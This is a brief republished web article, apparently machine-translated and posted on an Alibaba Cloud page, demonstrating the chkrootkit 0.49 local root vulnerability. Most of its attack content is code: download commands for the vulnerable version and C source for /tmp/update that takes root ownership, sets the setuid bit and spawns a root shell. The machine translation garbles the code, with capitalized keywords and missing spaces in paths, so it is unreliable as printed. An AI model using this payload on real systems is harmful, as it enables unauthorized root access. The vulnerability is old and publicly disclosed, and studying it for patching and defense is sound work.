Chkrootkit 0.49 Local Elevation of Privilege Vulnerability

Source: Internet
Author: User

Chkrootkit 0.49 Local Elevation of Privilege Vulnerability

Chkrootkit <= 0.49 Local Root Vulnerability: less than or equal to version 0.49's chrootkit Local Elevation of Privilege Vulnerability. Let's demonstrate it first:
You can check whether the version you have installed has been upgraded to the latest version, or download the version with vulnerabilities for the experiment:

 

Wget http://www.exploit-db.com/wp-content/themes/exploit/applications/304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
Tar vfxz 304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
Cd chkrootkit-0.49/
./Chkrootkit-V

Create update. c In the/tmp directory (the sample code is as follows ):
 

# Include <unistd. h>

Void main (void)
{
System ("chown root: root/tmp/update ");
System ("chmod 4755/tmp/update ");
Setuid (0 );
Setgid (0 );
Execl ("/bin/sh", "sh", NULL );

}

Compile the update file to view the update file details:

Run the vulnerability chkrootkit:

Let's take a look at the fact that update has successfully belonged to the root group!


References:
Http://www.exploit-db.com/exploits/33899/
Hackluom.net/chkrootkit-local-root/Vulnerability

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.